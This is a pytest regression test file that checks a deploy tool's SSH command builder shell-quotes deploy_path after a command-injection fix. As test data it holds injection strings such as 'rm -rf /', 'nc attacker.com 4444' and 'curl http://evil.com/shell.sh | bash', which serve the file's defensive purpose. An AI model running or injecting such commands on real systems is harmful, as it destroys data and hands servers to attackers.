"""Regression tests for KIN-INFRA-006: command injection via deploy_path in SSH command. Root cause: _build_ssh_cmd() embedded deploy_path directly in f"cd {deploy_path} && {command}" without escaping, allowing shell metacharacters to be interpreted. Fix: shlex.quote(deploy_path) in core/deploy.py:_build_ssh_cmd(), line 54. Acceptance criteria: 1. deploy_path with shell metacharacters (';', '$(...)', '`...`', '|') is properly escaped via shlex.quote — injected fragment does not leak into the command. 2. A legitimate path like '/srv/api' works normally (shlex.quote does not break it). 3. deploy_restart_cmd (admin-controlled command) is passed verbatim to SSH — NOT quoted via shlex.quote (quoting a multi-word command would break remote execution). """ import shlex import pytest from core.deploy import _build_ssh_cmd, build_deploy_steps # --------------------------------------------------------------------------- # Helpers # --------------------------------------------------------------------------- def _ssh_project(deploy_path, **extra): """Minimal project dict for _build_ssh_cmd.""" return { "deploy_host": "10.0.0.1", "deploy_path": deploy_path, **extra, } # --------------------------------------------------------------------------- # AC 1a — semicolon injection: '/srv/api; rm -rf /' # --------------------------------------------------------------------------- def test_semicolon_injection_in_deploy_path_is_escaped(): """AC1: deploy_path='/srv/api; rm -rf /' must be shell-quoted, not raw in command.""" malicious_path = "/srv/api; rm -rf /" cmd = _build_ssh_cmd(_ssh_project(malicious_path), "git pull") full_cmd = cmd[-1] # Must NOT appear as a bare shell fragment assert "cd /srv/api; rm -rf /" not in full_cmd, ( "Semicolon injection must be neutralised — raw path must not appear in command" ) # Must appear as a properly quoted string assert shlex.quote(malicious_path) in full_cmd, ( "deploy_path must be wrapped by shlex.quote" ) # --------------------------------------------------------------------------- # AC 1b — command substitution: '$(whoami)' # --------------------------------------------------------------------------- def test_dollar_command_substitution_in_deploy_path_is_escaped(): """AC1: deploy_path containing '$(...) must be quoted — no shell expansion.""" malicious_path = "/srv/$(whoami)" cmd = _build_ssh_cmd(_ssh_project(malicious_path), "git pull") full_cmd = cmd[-1] assert "cd /srv/$(whoami) " not in full_cmd, ( "$(...) substitution must not be left unquoted" ) assert shlex.quote(malicious_path) in full_cmd # --------------------------------------------------------------------------- # AC 1c — backtick command substitution: '`whoami`' # --------------------------------------------------------------------------- def test_backtick_injection_in_deploy_path_is_escaped(): """AC1: deploy_path containing backticks must be quoted.""" malicious_path = "/srv/`whoami`" cmd = _build_ssh_cmd(_ssh_project(malicious_path), "git pull") full_cmd = cmd[-1] assert "cd /srv/`whoami` " not in full_cmd assert shlex.quote(malicious_path) in full_cmd # --------------------------------------------------------------------------- # AC 1d — pipe injection: '| nc attacker.com 4444' # --------------------------------------------------------------------------- def test_pipe_injection_in_deploy_path_is_escaped(): """AC1: deploy_path containing pipe must not open a second shell command.""" malicious_path = "/srv/app | nc attacker.com 4444" cmd = _build_ssh_cmd(_ssh_project(malicious_path), "git pull") full_cmd = cmd[-1] assert "cd /srv/app | nc attacker.com 4444" not in full_cmd assert shlex.quote(malicious_path) in full_cmd # --------------------------------------------------------------------------- # AC 2 — legitimate path works normally # --------------------------------------------------------------------------- def test_legitimate_deploy_path_is_preserved(): """AC2: '/srv/api' (no special chars) must appear verbatim in the SSH command.""" cmd = _build_ssh_cmd(_ssh_project("/srv/api"), "git pull") full_cmd = cmd[-1] assert "/srv/api" in full_cmd, "Legitimate path must appear in command" assert "git pull" in full_cmd, "The deploy command must appear after cd" # Structure: cd '' && git pull assert "cd" in full_cmd assert "&&" in full_cmd def test_legitimate_path_with_shlex_quote_is_unchanged(): """shlex.quote('/srv/api') must equal '/srv/api' — no redundant escaping.""" assert shlex.quote("/srv/api") == "/srv/api", ( "shlex.quote must not alter a simple path (no extra quoting)" ) def test_ssh_cmd_structure_is_list_not_string(): """_build_ssh_cmd must return a list — never shell=True with a string command.""" cmd = _build_ssh_cmd(_ssh_project("/srv/api"), "git pull") assert isinstance(cmd, list), "SSH command must be a list (shell=False)" assert cmd[0] == "ssh" # --------------------------------------------------------------------------- # AC 3 — deploy_restart_cmd reaches SSH verbatim (not shlex-quoted) # --------------------------------------------------------------------------- def test_deploy_restart_cmd_passes_verbatim_to_ssh(): """AC3: deploy_restart_cmd is a multi-word shell command — must NOT be shlex-quoted.""" restart_cmd = "docker compose restart worker" project = { "deploy_host": "myserver", "deploy_path": "/srv/api", "deploy_runtime": "docker", "deploy_restart_cmd": restart_cmd, } cmd = _build_ssh_cmd(project, restart_cmd) full_cmd = cmd[-1] # Multi-word command must appear verbatim, not as a single-quoted token assert restart_cmd in full_cmd, ( "deploy_restart_cmd must appear verbatim in the SSH command" ) assert full_cmd != shlex.quote(restart_cmd), ( "deploy_restart_cmd must NOT be wrapped in shlex.quote — that would break remote execution" ) def test_build_deploy_steps_includes_restart_cmd(): """deploy_restart_cmd must be appended as a plain step in build_deploy_steps.""" restart_cmd = "systemctl restart myapp" steps = build_deploy_steps({ "deploy_runtime": "python", "deploy_restart_cmd": restart_cmd, }) assert steps[-1] == restart_cmd, "restart_cmd must be last step, verbatim" # --------------------------------------------------------------------------- # Edge cases # --------------------------------------------------------------------------- def test_no_deploy_path_uses_command_directly(): """When deploy_path is None, the command is used as-is with no cd prefix.""" cmd = _build_ssh_cmd({"deploy_host": "myserver", "deploy_path": None}, "git pull") full_cmd = cmd[-1] assert "cd" not in full_cmd assert full_cmd == "git pull" def test_ampersand_injection_in_deploy_path_is_escaped(): """deploy_path containing '&&' must not inject extra commands.""" malicious_path = "/srv/app && curl http://evil.com/shell.sh | bash" cmd = _build_ssh_cmd(_ssh_project(malicious_path), "git pull") full_cmd = cmd[-1] # The injected part must not appear unquoted assert "curl http://evil.com/shell.sh" not in full_cmd.replace( shlex.quote(malicious_path), "" ) assert shlex.quote(malicious_path) in full_cmd